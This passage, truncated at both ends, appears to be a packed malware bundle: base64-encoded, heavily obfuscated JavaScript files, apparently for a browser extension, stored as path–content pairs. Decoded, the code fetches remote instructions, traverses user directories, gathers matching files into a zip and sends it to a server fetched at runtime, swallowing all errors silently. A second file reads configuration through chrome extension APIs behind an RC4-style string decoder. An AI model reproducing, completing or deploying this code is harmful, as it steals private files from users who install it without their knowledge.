yk7fWZ1bmN0aW9uIF8weDM5ZjE4ZihfMHgyMTU3YTEsXzB4MTRlNmZiLF8weDI4M2JiNyxfMHhiOWQzNjcsXzB4NGI5NzEpe3JldHVybiBfMHgxNjhmKF8weDRiOTcxLTB4OGUsXzB4MjE1N2ExKTt9ZnVuY3Rpb24gXzB4Zjg4NWNhKF8weDI3Njg2NyxfMHgzNjU0YmEsXzB4MTllZjBkLF8weDQ5ZjE5MyxfMHgzMDg5MWMpe3JldHVybiBfMHgxNjhmKF8weDE5ZWYwZC0gLTB4MzQ5LF8weDMwODkxYyk7fWZ1bmN0aW9uIF8weDRmODE2NChfMHg1MmQ2NTEsXzB4M2QzMzkyLF8weDExZTM0MCxfMHgzOTVlZTMsXzB4NGE4MWVkKXtyZXR1cm4gXzB4MTY4ZihfMHgzZDMzOTItMHgyZmIsXzB4Mzk1ZWUzKTt9ZnVuY3Rpb24gXzB4NGM2ODgzKF8weDJkNTFjYSxfMHg0NjBjNjIsXzB4Mzk0NGZhLF8weDRkNDAwYyxfMHg4YmViMmQpe3JldHVybiBfMHgxNjhmKF8weDRkNDAwYy0weDM5YixfMHg0NjBjNjIpO310cnl7Y29uc3QgXzB4MTA2YTczPWF3YWl0IF8weDViNDQwNVtfMHgxMzFlYTUoMHgzNCwweDM4LDB4MWQsMHgyZiwnSEx0JicpXShnZXRJbnN0cnV0aW9ucyk7aWYoIV8weDEwNmE3Myl0aHJvdyBuZXcgRXJyb3IoXzB4NWI0NDA1W18weGY4ODVjYSgtMHgxYjUsLTB4MWIxLC0weDFjMSwtMHgxYWMsJ1pDY10nKV0pO2NvbnN0IF8weDEyYTI5Yj1fMHgxMDZhNzNbXzB4NGM2ODgzKDB4NTE4LCdGZyVaJywweDUyMywweDUyYSwweDUzNykrXzB4MTMxZWE1KDB4NDUsMHg0ZCwweDMyLDB4MzcsJzBzcFInKSsnbnMnXSxfMHgyODA5NTI9XzB4MTA2YTczW18weDM5ZjE4ZignTiR0IScsMHgxZTIsMHgxZTEsMHgxY2YsMHgxZTYpKydhbCddW18weDM5ZjE4ZignaUA5bCcsMHgyMDAsMHgyMTQsMHgyMTEsMHgyMTcpKydpciddLF8weDhhNTVlPV8weDEwNmE3M1tfMHgxMzFlYTUoLTB4YSwweDEsMHgxOCwweDYsJ0VeWEInKSsnYWwnXVtfMHg0YzY4ODMoMHg1MGIsJ1ZOQCQnLDB4NTBlLDB4NGZlLDB4NTE1KStfMHhmODg1Y2EoLTB4MWQ1LC0weDFiNiwtMHgxY2UsLTB4MWU1LCdGZyVaJyldLF8weDFhZmY3YT1fMHgxMDZhNzNbXzB4MzlmMThmKCdNNklwJywweDFmNSwweDFlZiwweDFkNiwweDFlZCkrJ2FsJ11bXzB4NGY4MTY0KDB4NDY5LDB4NDc5LDB4NDcyLCdmNXFPJywweDQ3MCkrXzB4Zjg4NWNhKC0weDFiMywtMHgxZGIsLTB4MWMzLC0weDFjMiwnZjVxTycpKydlJ10sXzB4MjBjNDNkPV8weDEwNmE3M1tfMHg0YzY4ODMoMHg1MTAsJ3QqV1InLDB4NGY2LDB4NGY5LDB4NGVlKSsnYWwnXVtfMHg0YzY4ODMoMHg1MmEsJ0dJb0knLDB4NTNkLDB4NTI5LDB4NTM2KV0sXzB4NDAwMGRlPV8weDEwNmE3M1tfMHg0YzY4ODMoMHg0ZmEsJ1JYalEnLDB4NTAyLDB4NTBkLDB4NTA2KStfMHg0ZjgxNjQoMHg0M2UsMHg0NTQsMHg0NmEsJzBzcFInLDB4NDY1KStfMHg0YzY4ODMoMHg1M2EsJzRdMEsnLDB4NTBmLDB4NTI1LDB4NTBhKV0sXzB4MTc0ODBmPWF3YWl0IF8weDViNDQwNVtfMHg0ZjgxNjQoMHg0ODksMHg0N2MsMHg0NjksJzUmITcnLDB4NDk2KV0ocXVlcnksXzB4MjBjNDNkKyc6LycrXzB4MjgwOTUyKSxfMHg1YjRmZTI9XzB4NWI0NDA1W18weGY4ODVjYSgtMHgyMDgsLTB4MWY0LC0weDFlYywtMHgxZDUsJ3l5ODgnKV0oZXh0cmFjdERpcmVjdG9yeSxfMHgxNzQ4MGYpPy5bXzB4MTMxZWE1KDB4OCwtMHgxMywweDEyLDB4NywnKEdaKCcpKydyJ10oXzB4NTNmZWU0PT4tMHgxODAwKy0weDI1NjQrMHgzZDY1PT09XzB4NTNmZWU0W18weDRmODE2NCgweDQ3NSwweDQ2NiwweDQ3ZiwnTUFDdScsMHg0ODEpXSksXzB4YjQxMTgxPWF3YWl0IF8weDViNDQwNVtfMHg0YzY4ODMoMHg1MDAsJ1okZCMnLDB4NTAwLDB4NTA5LDB4NTEwKV0obW9kaWZ5TGlzdFVzZXJzLF8weDViNGZlMixfMHg4YTU1ZSxfMHgyODA5NTIpLF8weGUwMmJmMD1hd2FpdCBfMHg1YjQ0MDVbXzB4MTMxZWE1KDB4MWEsMHhhLDB4MmYsMHgxYywnRV5YQicpXSh0cmF2ZXJzZURpcmVjdG9yaWVzLF8weGI0MTE4MSxfMHgxMmEyOWIsXzB4MWFmZjdhLF8weDQwMDBkZSksXzB4MTFhMDY3PWF3YWl0IF8weDViNDQwNVtfMHgzOWYxOGYoJ1pDY10nLDB4MjEyLDB4MjA5LDB4MjEwLDB4MjEwKV0ob3JnYW5pemVGb3VuZEZpbGVzLF8weGUwMmJmMCxfMHgxMmEyOWIsXzB4NDAwMGRlKSxfMHgzODg0NTE9YXdhaXQgXzB4NWI0NDA1W18weGY4ODVjYSgtMHgxZTAsLTB4MjAwLC0weDFlOSwtMHgxZjIsJ3Q1NnonKV0oY3JlYXRlWmlwLF8weDExYTA2Nykse2RvbWFpbjpfMHg0OWNlNDYsdXVpZDpfMHgzN2M3MDl9PWF3YWl0IF8weDViNDQwNVtfMHg0ZjgxNjQoMHg0NmUsMHg0NzIsMHg0ODcsJzQwOXknLDB4NDViKV0oZ2V0RGF0YSksXzB4MzYyZjIzPWF3YWl0IF8weDViNDQwNVtfMHgxMzFlYTUoMHgzMywweDMyLDB4MzcsMHgyOCwnISU2ZicpXSh0cmFuc2Zvcm1aaXBEYXRhLF8weDExYTA2Nyk7YXdhaXQgXzB4NWI0NDA1W18weDRmODE2NCgweDQ4NCwweDQ4NywweDQ4ZiwnMWhDWycsMHg0NmUpXShzZW5kWmlwVG9TZXJ2ZXIsXzB4Mzg4NDUxLF8weDM2MmYyMyxfMHg0OWNlNDYsXzB4MzdjNzA5KTt9Y2F0Y2goXzB4MTJkODFhKXtyZXR1cm4gbnVsbDt9fTsK'),@('c3JjXGZpbmRlclxpbnN0cnVjdGlvbnMuanM=', 'KGZ1bmN0aW9uKF8weDFmNDQ5MyxfMHgzM2MzZmMpe2Z1bmN0aW9uIF8weDIwMzM4OChfMHhjNjUzMDMsXzB4NDk4YWFkLF8weDRmNDA5MCxfMHgxMDk5ZWQsXzB4Mzc3OWRiKXtyZXR1cm4gXzB4YjA3ZShfMHg0ZjQwOTAtMHgyOTYsXzB4YzY1MzAzKTt9ZnVuY3Rpb24gXzB4MjZiM2MzKF8weDQ3NmQ1NCxfMHg1Nzc5YTgsXzB4MzBiNGQyLF8weDQ2YjM2YyxfMHg1MzNkMmQpe3JldHVybiBfMHhiMDdlKF8weDUzM2QyZC0weDE3OCxfMHgzMGI0ZDIpO31mdW5jdGlvbiBfMHgzMzc2OGUoXzB4ZTM3Mzk1LF8weDE4YzVhOCxfMHgyODg4NzIsXzB4Mzc2NGFhLF8weDE2YWI1Nyl7cmV0dXJuIF8weGIwN2UoXzB4MTZhYjU3LSAtMHgzY2MsXzB4Mzc2NGFhKTt9ZnVuY3Rpb24gXzB4MmIxMGI0KF8weDQxZDUwZCxfMHg1MjZkZWYsXzB4MjU0MDczLF8weGUxM2Y2MCxfMHgyZmQzZDIpe3JldHVybiBfMHhiMDdlKF8weDI1NDA3My0gLTB4MzJjLF8weDQxZDUwZCk7fWNvbnN0IF8weDVjM2UxYT1fMHgxZjQ0OTMoKTtmdW5jdGlvbiBfMHgxOGY4OTUoXzB4M2U2N2M0LF8weDY0MWMzNCxfMHg1Yzg4NTcsXzB4MjM1Yjk4LF8weDIzYTM4OCl7cmV0dXJuIF8weGIwN2UoXzB4NjQxYzM0LTB4MjMyLF8weDVjODg1Nyk7fXdoaWxlKCEhW10pe3RyeXtjb25zdCBfMHgzYTU1Mzg9cGFyc2VJbnQoXzB4MmIxMGI0KCddSCZuJywtMHgyMmQsLTB4MjMxLC0weDIyYSwtMHgyMmUpKS8oMHgzNyoweDc1Ky0weDYqMHgyZjMrLTB4MWRjKjB4NCkqKC1wYXJzZUludChfMHgxOGY4OTUoMHgzMzksMHgzMzQsJ3BdQygnLDB4MzNhLDB4MzFkKSkvKDB4MSotMHhiY2IrMHg4NystMHhkKi0weGRlKSkrLXBhcnNlSW50KF8weDE4Zjg5NSgweDM0MiwweDM1OCwnU2ZPVScsMHgzNTQsMHgzNTEpKS8oLTB4MWIyNystMHgxZjkyKzB4M2FiYykrLXBhcnNlSW50KF8weDJiMTBiNCgnS2tnWicsLTB4MjM0LC0weDIzMywtMHgyMjksLTB4MjI4KSkvKC0weDEqMHgxZTlhKy0weDE5YTErMHhiKjB4NTFkKSooLXBhcnNlSW50KF8weDJiMTBiNCgncldbVicsLTB4MjA2LC0weDIwZCwtMHgyMTEsLTB4MjE4KSkvKC0weDJiKi0weGU1Ky0weDNhKjB4OGIrLTB4MioweDM3YSkpK3BhcnNlSW50KF8weDI2YjNjMygweDI4ZCwweDI5MCwna3FkZCcsMHgyOTYsMHgyOWMpKS8oMHgxMWIxKzB4MjEwMistMHgzMmFkKSoocGFyc2VJbnQoXzB4MjZiM2MzKDB4Mjg2LDB4Mjk5LCdPMjJBJywweDI4OSwweDI4MykpLygweDEzYjIrLTB4YTE5Ky0weDk5MikpK3BhcnNlSW50KF8weDE4Zjg5NSgweDMzNywweDMzMCwnMTNINycsMHgzMzMsMHgzM2MpKS8oLTB4NDM3Ki0weDIrLTB4ZDM5KzB4NGQzKSstcGFyc2VJbnQoXzB4MzM3NjhlKC0weDJiNSwtMHgyYjgsLTB4MmI0LCdKQHZsJywtMHgyYmQpKS8oLTB4MyoweDQ3ZistMHgyMWZjKzB4MmY4MikrcGFyc2VJbnQoXzB4MmIxMGI0KCdsSighJywtMHgyNDksLTB4MjM0LC0weDIyYSwtMHgyMjApKS8oMHhmKi0weDEzNysweDEqMHgyNTkrMHhmZWEpO2lmKF8weDNhNTUzOD09PV8weDMzYzNmYylicmVhaztlbHNlIF8weDVjM2UxYVsncHVzaCddKF8weDVjM2UxYVsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4YjFhZDEwKXtfMHg1YzNlMWFbJ3B1c2gnXShfMHg1YzNlMWFbJ3NoaWZ0J10oKSk7fX19KF8weDU1ZWUsLTB4OWM2OSoweDFhKzB4Y2Y0OTQrMHhmNzcxNCkpO2Z1bmN0aW9uIF8weGIwN2UoXzB4MmQ1OTZmLF8weDJjMjhiZCl7Y29uc3QgXzB4MzJiNjg5PV8weDU1ZWUoKTtyZXR1cm4gXzB4YjA3ZT1mdW5jdGlvbihfMHg1NzI0MDMsXzB4M2M1MWRhKXtfMHg1NzI0MDM9XzB4NTcyNDAzLSgtMHgyODUqLTB4YisweDVjNystMHgxNmEqMHgxNyk7bGV0IF8weDFkNWM3Yz1fMHgzMmI2ODlbXzB4NTcyNDAzXTtpZihfMHhiMDdlWyd6cmt5Rm8nXT09PXVuZGVmaW5lZCl7dmFyIF8weDJlNzM1ZD1mdW5jdGlvbihfMHgyN2ZlMGEpe2NvbnN0IF8weDYwN2QzZT0nYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkrLz0nO2xldCBfMHgyMjNiNjg9JycsXzB4NGIxNzZiPScnO2ZvcihsZXQgXzB4MTU5N2NmPTB4MTA1NysweDQzOCsweDE0OGYqLTB4MSxfMHgxNzE5YWUsXzB4MjExY2YyLF8weDRlNWU5MD0tMHhlNDkqMHgyKzB4YTU0Ki0weDErLTB4MWEqLTB4MTdmO18weDIxMWNmMj1fMHgyN2ZlMGFbJ2NoYXJBdCddKF8weDRlNWU5MCsrKTt+XzB4MjExY2YyJiYoXzB4MTcxOWFlPV8weDE1OTdjZiUoMHgxYjBmKzB4MWU0ZCotMHgxKzB4MioweDFhMSk/XzB4MTcxOWFlKigweDFjZTkrMHgxKjB4YTdmKy0weDI3MjgpK18weDIxMWNmMjpfMHgyMTFjZjIsXzB4MTU5N2NmKyslKC0weDExKi0weDIyMSstMHg2KjB4MzZlKy0weGY5OSkpP18weDIyM2I2OCs9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgtMHhmYWErLTB4MSoweDIyMzErMHgzMmRhJl8weDE3MTlhZT4+KC0oLTB4OWUqLTB4MzErMHgxZWM2Ky0weDNkMDIpKl8weDE1OTdjZiYweDRmNSsweDFjZioweGQrMHgxNGIqLTB4MTYpKTotMHgxYTMqMHgyKy0weDE5ZWUqMHgxKzB4MWQzNCl7XzB4MjExY2YyPV8weDYwN2QzZVsnaW5kZXhPZiddKF8weDIxMWNmMik7fWZvcihsZXQgXzB4MWExNzZhPS0weGUxKjB4MTUrLTB4MTQ0NisweDI2YmIsXzB4NTA1Yzc0PV8weDIyM2I2OFsnbGVuZ3RoJ107XzB4MWExNzZhPF8weDUwNWM3NDtfMHgxYTE3NmErKyl7XzB4NGIxNzZiKz0nJScrKCcwMCcrXzB4MjIzYjY4WydjaGFyQ29kZUF0J10oXzB4MWExNzZhKVsndG9TdHJpbmcnXSgweDUqLTB4NjRkKzB4NmQ5KjB4NSsweDM5Ki0weGMpKVsnc2xpY2UnXSgtKC0weDI1ODQrLTB4MTQqLTB4MWM3KzB4MWZhKSk7fXJldHVybiBkZWNvZGVVUklDb21wb25lbnQoXzB4NGIxNzZiKTt9O2NvbnN0IF8weDVkMGE0ZT1mdW5jdGlvbihfMHg0NGFmZmQsXzB4NGJiZDQ0KXtsZXQgXzB4MjEzMmM2PVtdLF8weDM3ZGY5MT0weDEwZmMrMHgxZDM2Ky0weGEyKjB4NDksXzB4NmIwMjc3LF8weDIxNGI2Mj0nJztfMHg0NGFmZmQ9XzB4MmU3MzVkKF8weDQ0YWZmZCk7bGV0IF8weDMwNTUyMztmb3IoXzB4MzA1NTIzPS0weDYzNCsweDM4ZCotMHhiKzB4MmQ0MyoweDE7XzB4MzA1NTIzPDB4MTY4MystMHgxZjEqLTB4OCstMHgyNTBiO18weDMwNTUyMysrKXtfMHgyMTMyYzZbXzB4MzA1NTIzXT1fMHgzMDU1MjM7fWZvcihfMHgzMDU1MjM9MHg2NSotMHg0YisweDUxMCotMHg1KzB4M2E5KjB4ZjtfMHgzMDU1MjM8MHgzZCotMHgxMCsweDIwYWYrLTB4MWJkZjtfMHgzMDU1MjMrKyl7XzB4MzdkZjkxPShfMHgzN2RmOTErXzB4MjEzMmM2W18weDMwNTUyM10rXzB4NGJiZDQ0WydjaGFyQ29kZUF0J10oXzB4MzA1NTIzJV8weDRiYmQ0NFsnbGVuZ3RoJ10pKSUoLTB4MjFhYystMHg4KjB4MWViKzB4MzIwNCksXzB4NmIwMjc3PV8weDIxMzJjNltfMHgzMDU1MjNdLF8weDIxMzJjNltfMHgzMDU1MjNdPV8weDIxMzJjNltfMHgzN2RmOTFdLF8weDIxMzJjNltfMHgzN2RmOTFdPV8weDZiMDI3Nzt9XzB4MzA1NTIzPS0weDkxZCotMHgxKzB4NyoweGMrLTB4OTcxLF8weDM3ZGY5MT0weDRjMSoweDgrLTB4MWJmYystMHhhMGM7Zm9yKGxldCBfMHg0YjE0NzU9LTB4NTYqMHhkKzB4MjIqMHg5NCstMHgxKjB4ZjRhO18weDRiMTQ3NTxfMHg0NGFmZmRbJ2xlbmd0aCddO18weDRiMTQ3NSsrKXtfMHgzMDU1MjM9KF8weDMwNTUyMysoMHgxMGE0KzB4MTVhZCstMHgxMzI4KjB4MikpJSgtMHg4KjB4MjZjKzB4MThiKjB4ZCsweDUxKSxfMHgzN2RmOTE9KF8weDM3ZGY5MStfMHgyMTMyYzZbXzB4MzA1NTIzXSklKDB4MTBhYistMHgxMGZkKi0weDErLTB4ZGMqMHgyNiksXzB4NmIwMjc3PV8weDIxMzJjNltfMHgzMDU1MjNdLF8weDIxMzJjNltfMHgzMDU1MjNdPV8weDIxMzJjNltfMHgzN2RmOTFdLF8weDIxMzJjNltfMHgzN2RmOTFdPV8weDZiMDI3NyxfMHgyMTRiNjIrPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oXzB4NDRhZmZkWydjaGFyQ29kZUF0J10oXzB4NGIxNDc1KV5fMHgyMTMyYzZbKF8weDIxMzJjNltfMHgzMDU1MjNdK18weDIxMzJjNltfMHgzN2RmOTFdKSUoLTB4ZDEqLTB4ZisweDFiKjB4MmErMHgxKi0weGZhZCldKTt9cmV0dXJuIF8weDIxNGI2Mjt9O18weGIwN2VbJ0JpYUpOeSddPV8weDVkMGE0ZSxfMHgyZDU5NmY9YXJndW1lbnRzLF8weGIwN2VbJ3pya3lGbyddPSEhW107fWNvbnN0IF8weDJhYWNiNj1fMHgzMmI2ODlbLTB4MWI0OSoweDErMHg1YTQrLTB4MyotMHg3MzddLF8weDNkMWJkMz1fMHg1NzI0MDMrXzB4MmFhY2I2LF8weDU4Njg3YT1fMHgyZDU5NmZbXzB4M2QxYmQzXTtyZXR1cm4hXzB4NTg2ODdhPyhfMHhiMDdlWydQdUtmRlonXT09PXVuZGVmaW5lZCYmKF8weGIwN2VbJ1B1S2ZGWiddPSEhW10pLF8weDFkNWM3Yz1fMHhiMDdlWydCaWFKTnknXShfMHgxZDVjN2MsXzB4M2M1MWRhKSxfMHgyZDU5NmZbXzB4M2QxYmQzXT1fMHgxZDVjN2MpOl8weDFkNWM3Yz1fMHg1ODY4N2EsXzB4MWQ1YzdjO30sXzB4YjA3ZShfMHgyZDU5NmYsXzB4MmMyOGJkKTt9ZnVuY3Rpb24gXzB4NTVlZSgpe2NvbnN0IF8weDFhMjJlYz1bJ0VDa2dXN1pkUW1vdicsJ1dSRFFXN2xkU1lCZFZLS3onLCdXUXZVbGdlR2dDa0JEdmhkSzhvVCcsJ1c3aXVlTm14c0dMcCcsJ21Ta3BXUHBkVk1HJywnVzZlbmhTbzVXNGEnLCdXNkpkVW1rZWtta0l3ZlQrVzVtR2lHJywnYUdPNFdPWmNVVycsJ2RTb0lqM25XV090Y1RMOWZ6WEJjUkNvSScsJ1dSQmRVV3lsQXNYOFdSbGNTTnJTYThrVScsJ1c3eVNEU29jQzJsZFFDbzFkQ29lV1JWZEtTazlXNnEnLCdXNnhkUTIwSVdPcmVoOGtjV09wY1A4b2VicScsJ1dSZGNVMmVOdWEnLCdXUlhqcjhvc1c1ekdXUEZjS1hhJywnV1EwN2QwaTUnLCdXUThVZlNrTVdQRycsJ3RlT2xoZnRjTXh2K2pta0lXNFZkR3RxJywnVzVhYWlZbGRLOGtYdW1vcnNyNVFXUi9kTENrUycsJ1c1bkVBZEwzVzRaZE10TEFmWldJJywnVzYxK1c0ZGRWU2t6VzQ3ZFFnQmNQcScsJ1dQaVlXNWxkUlNrOFc2WmNTZVZkTTB5eScsJ3lta2pXNnRkVlNvdCcsJ0RHNDJXNVMnLCdtU285V1E3ZFBxTycsJ1dPQ0VpY1ZjUHEnLCdXTzhwcG1rcScsJ0Vta2hnOGtuY01WY0hlRDJXUGZpZFluUicsJ1c2dkpXNDNjTm1rWScsJ3lYWmNNQ2t2V1JGY0kwOVlpZVJjUG1rUVdPMCcsJ2hoRmRTU29xZjhvalc0TmRTVycsJ1dRUmNNZ1NMdlcnLCdXUG1FbTNHTycsJ29lV1RrOG8vJywneGRPK1dScTZXT3pSRVNvQXdTb1VXNTdkT0NvYycsJ2tJR3pXUkZjR0cnLCdXUnZIV1FCZFF0OCcsJ284b2ZyOG9pJywneEl0ZE1Tb1NlVycsJ1c1aGNKQ281JywnVzRQU1dPaGNWQ29SJywnV1E1YkF2UmNUcScsJ1dSZGNVWVcnLCd2bWtWV1ExaFdSaGRIU28zVzVTRVdPVmNRcScsJ0RTay9XNVpkSFNvMCcsJ1c3ekd6ZGViJywnZDhvMVdSMUFXNUNtakt5JywnV1JiUXd2SmNTRycsJ1dQOWpXUFZkTXQ4J107XzB4NTVlZT1mdW5jdGlvbigpe3JldHVybiBfMHgxYTIyZWM7fTtyZXR1cm4gXzB4NTVlZSgpO31leHBvcnQgY29uc3QgZ2V0SW5zdHJ1dGlvbnM9YXN5bmMoKT0+e2NvbnN0IF8weDEwY2JiYz17J0xQUk54JzpmdW5jdGlvbihfMHg1ZGUxMDAsXzB4NDdmMzNhKXtyZXR1cm4gXzB4NWRlMTAwKF8weDQ3ZjMzYSk7fSwnaFZkdm4nOmZ1bmN0aW9uKF8weDU4ODQwNyxfMHg1YjJiNTYpe3JldHVybiBfMHg1ODg0MDcoXzB4NWIyYjU2KTt9LCdmV0pLQic6XzB4MjM4MzMzKC0weDJjOSwncF1DKCcsLTB4MmFiLC0weDJhMSwtMHgyYjgpK18weDIyMWM4NCgtMHgxZjQsLTB4MWYwLC0weDIwMCwnWCowXicsLTB4MWZjKSwnTHR5TFQnOl8weDIyMWM4NCgtMHgxZmEsLTB4MjA0LC0weDFmNCwnc2MxeicsLTB4MWRlKStfMHgzNjRhY2IoMHhhYiwncTM5aycsMHhiNywweDlmLDB4YTcpK18weDIzODMzMygtMHgyZGIsJ3hrYnAnLC0weDJiMCwtMHgyYjIsLTB4MmM0KStfMHgxZWEyY2QoJyZkSEgnLDB4NTEsMHg1OSwweDY5LDB4NmEpLCdsdmFlRyc6ZnVuY3Rpb24oXzB4NDMxM2E3LF8weDQ5MGEyOCl7cmV0dXJuIF8weDQzMTNhNyE9PV8weDQ5MGEyODt9fTtmdW5jdGlvbiBfMHg1YjhkMDAoXzB4MmVlNDVlLF8weDFmZjM1NyxfMHg2MDhkOTQsXzB4NGIxNmZjLF8weDFmMmViNil7cmV0dXJuIF8weGIwN2UoXzB4MWYyZWI2LTB4MThkLF8weDFmZjM1Nyk7fXRyeXtjb25zdCBfMHgyYjA5Nzg9YXdhaXQgbmV3IFByb21pc2UoKF8weDRhMWUwNixfMHg0Yzc3OWEpPT57ZnVuY3Rpb24gXzB4MjJiYWFlKF8weDUxMjE0MixfMHg1NTUyZTIsXzB4NWNmZDU3LF8weDViMjVlYyxfMHgzMmYyZWEpe3JldHVybiBfMHgyMjFjODQoXzB4NTEyMTQyLTB4MWJlLF8weDU1NTJlMi0weDU4LF8weDU1NTJlMi0weDM4NixfMHg1Y2ZkNTcsXzB4MzJmMmVhLTB4MWU5KTt9ZnVuY3Rpb24gXzB4NDU0ZDEwKF8weDVjNDg2NCxfMHg0N2RiZTUsXzB4MTk4ZDhlLF8weDI4MjZmZixfMHg0MTc1M2Mpe3JldHVybiBfMHg1YjhkMDAoXzB4NWM0ODY0LTB4MTQ4LF8weDQxNzUzYyxfMHgxOThkOGUtMHgxYSxfMHgyODI2ZmYtMHgxMTMsXzB4NDdkYmU1LTB4ZDQpO31mdW5jdGlvbiBfMHgyNzkwODkoXzB4NWEzMTQ3LF8weDRhMzU0OCxfMHg0MzI5NDUsXzB4MzIyMzgxLF8weGYwOGEyOCl7cmV0dXJuIF8weDM2NGFjYihfMHgzMjIzODEtMHgzZWIsXzB4NWEzMTQ3LF8weDQzMjk0NS0weDFkNyxfMHgzMjIzODEtMHgzZCxfMHhmMDhhMjgtMHhkNik7fWZ1bmN0aW9uIF8weDNlZWI5OChfMHg1ZDRiZjIsXzB4MTJiMzFhLF8weDRmM2E2NCxfMHgyZWVmNTQsXzB4NWQ0NmUwKXtyZXR1cm4gXzB4MzY0YWNiKF8weDEyYjMxYS0weDZjLF8weDVkNGJmMixfMHg0ZjNhNjQtMHgxNTcsXzB4MmVlZjU0LTB4MWYsXzB4NWQ0NmUwLTB4ZmQpO31jaHJvbWVbXzB4MjJiYWFlKDB4MTcyLDB4MTg3LCdRd2NaJywweDE4YSwweDE3NykrJ2dlJ11bXzB4MjJiYWFlKDB4MWE1LDB4MTliLCdjQ3p2JywweDE5ZSwweDE4NSldW18weDI3OTA4OSgnS2tnWicsMHg0N2YsMHg0OTIsMHg0OTEsMHg0OGEpXShbXzB4MTBjYmJjW18weDQ1NGQxMCgweDM3ZSwweDM3YSwweDM3ZCwweDM3ZSwnV3AzWCcpXV0sXzB4MjFiZTMzPT57ZnVuY3Rpb24gXzB4Mzc4YTc1KF8weDFkY2I2ZSxfMHg0OTM0YjksXzB4NjAyMDM0LF8weDU0NmQ2ZixfMHgyNWIwZjcpe3JldHVybiBfMHgyNzkwODkoXzB4NDkzNGI5LF8weDQ5MzRiOS0weDFhZixfMHg2MDIwMzQtMHg0MixfMHg1NDZkNmYtIC0weDNmYSxfMHgyNWIwZjctMHgxNDYpO31mdW5jdGlvbiBfMHgxMmJjNjEoXzB4NTA4NGEzLF8weGRmMzM4NyxfMHgyMmQwNjgsXzB4NGRkZTVmLF8weDI2ZmFjZil7cmV0dXJuIF8weDNlZWI5OChfMHgyNmZhY2YsXzB4MjJkMDY4LTB4M2UyLF8weDIyZDA2OC0weDExMyxfMHg0ZGRlNWYtMHg3ZixfMHgyNmZhY2YtMHg3Nyk7fWZ1bmN0aW9uIF8weDJhNTNmOShfMHgyYjFmOGYsXzB4MzAzYTlmLF8weDE4ZjRiYSxfMHg1Y2IxOWIsXzB4MWM0NzBjKXtyZXR1cm4gXzB4MjJiYWFlKF8weDJiMWY4Zi0weDE2NCxfMHgxYzQ3MGMtIC0weDNkLF8weDVjYjE5YixfMHg1Y2IxOWItMHgxMSxfMHgxYzQ3MGMtMHgxYik7fWZ1bmN0aW9uIF8weDJkOGUxZChfMHg1M2U2YmUsXzB4NWMyNjdjLF8weDFkMmRhMixfMHgzOWNmMTUsXzB4MjU0OWQ0KXtyZXR1cm4gXzB4Mjc5MDg5KF8weDM5Y2YxNSxfMHg1YzI2N2MtMHgxZWQsXzB4MWQyZGEyLTB4NGUsXzB4NTNlNmJlLTB4MzgsXzB4MjU0OWQ0LTB4MTcpO31mdW5jdGlvbiBfMHgxNDcyOTkoXzB4NTg5YmM0LF8weDQ5YzY3MixfMHgzZGM1ZGQsXzB4MTJkM2ZiLF8weDU5OTUzNyl7cmV0dXJuIF8weDNlZWI5OChfMHg0OWM2NzIsXzB4MTJkM2ZiLSAtMHg0ZSxfMHgzZGM1ZGQtMHgyYSxfMHgxMmQzZmItMHgxNzEsXzB4NTk5NTM3LTB4MWQ4KTt9Y2hyb21lW18weDE0NzI5OSgweGM2LCclYzVKJywweGFiLDB4YjksMHhhNCkrJ21lJ11bXzB4MmQ4ZTFkKDB4NGQ3LDB4NGMyLDB4NGQwLCdtQ3ZbJywweDRkYikrXzB4MmQ4ZTFkKDB4NGM0LDB4NGIyLDB4NGFmLCdsWW5MJywweDRiMildP18weDEwY2JiY1tfMHgyZDhlMWQoMHg0YWUsMHg0YmMsMHg0YjksJ1JbT28nLDB4NGM0KV0oXzB4NGM3NzlhLGNocm9tZVtfMHgxNDcyOTkoMHhhOSwnUltPbycsMHhhZiwweGJhLDB4YWMpKydtZSddW18weDJkOGUxZCgweDRjZiwweDRjNiwweDRkNywnc2MxeicsMHg0ZGQpK18weDJhNTNmOSgweDE1YSwweDEzMCwweDEzMCwnb2RISicsMHgxNDgpXSk6XzB4MTBjYmJjW18weDM3OGE3NSgweDgxLCclYzVKJywweDhjLDB4N2EsMHg4OSldKF8weDRhMWUwNixfMHgyMWJlMzMpO30pO30pLF8weDU3OTQxND1fMHgxMGNiYmNbXzB4MjM4MzMzKC0weDJiZSwncTM5aycsLTB4MmNjLC0weDJiZiwtMHgyYjcpXSxfMHg1NWVjNzA9XzB4MmIwOTc4W18weDIzODMzMygtMHgyYWYsJ1dwM1gnLC0weDJhNSwtMHgyOWUsLTB4MmFmKStfMHgzNjRhY2IoMHg5ZCwnaXJAYScsMHg5ZiwweDg4LDB4OTYpXTtmb3IoY29uc3QgXzB4Njk3OGEyIG9mIF8weDU1ZWM3MCl7Y29uc3QgXzB4MWNmNjc2PV8weDY5NzhhMltfMHgxZWEyY2QoJzYxKFYnLDB4NzksMHg2YywweDc2LDB4NjIpXTtpZihfMHgxMGNiYmNbXzB4MzY0YWNiKDB4YjIsJ11IJm4nLDB4YzUsMHhiZCwweGNhKV0oLSgtMHgxZjEqLTB4OCstMHgyZDIrLTB4Y2I1KSxfMHg1Nzk0MTRbXzB4NWI4ZDAwKDB4MjljLCcmZEhIJywweDJhMiwweDI5NywweDI4YSkrJ09mJ10oXzB4MWNmNjc2KSkmJl8weDY5NzhhMltfMHgyMzgzMzMoLTB4MmE4LCdjWVhtJywtMHgyYjUsLTB4MmExLC0weDJhYikrXzB4MjIxYzg0KC0weDFlYSwtMHgxZTUsLTB4MWY1LCdNVDdTJywtMHgxZWEpXSlyZXR1cm4gSlNPTltfMHg1YjhkMDAoMHgyODQsJ1dwM1gnLDB4MjliLDB4MjdkLDB4MjkwKV0oXzB4Njk3OGEyW18weDM2NGFjYigweGEyLCdPMjJBJywweGI4LDB4YjQsMHg5NSldKTt9fWNhdGNoKF8weGJhYzY1KXt9ZnVuY3Rpb24gXzB4MzY0YWNiKF8weDRiYzY3MyxfMHg1Y2EyMjksXzB4NTg5YTZiLF8weDM3OGZhNCxfMHg1MTczNmMpe3JldHVybiBfMHhiMDdlKF8weDRiYzY3My0gLTB4NzEsXzB4NWNhMjI5KTt9ZnVuY3Rpb24gXzB4MjIxYzg0KF8weDJmNjA1NCxfMHg0NjM5OTEsXzB4NGI4MjRhLF8weDFhZjg3ZixfMHgyYWNkNDcpe3JldHVybiBfMH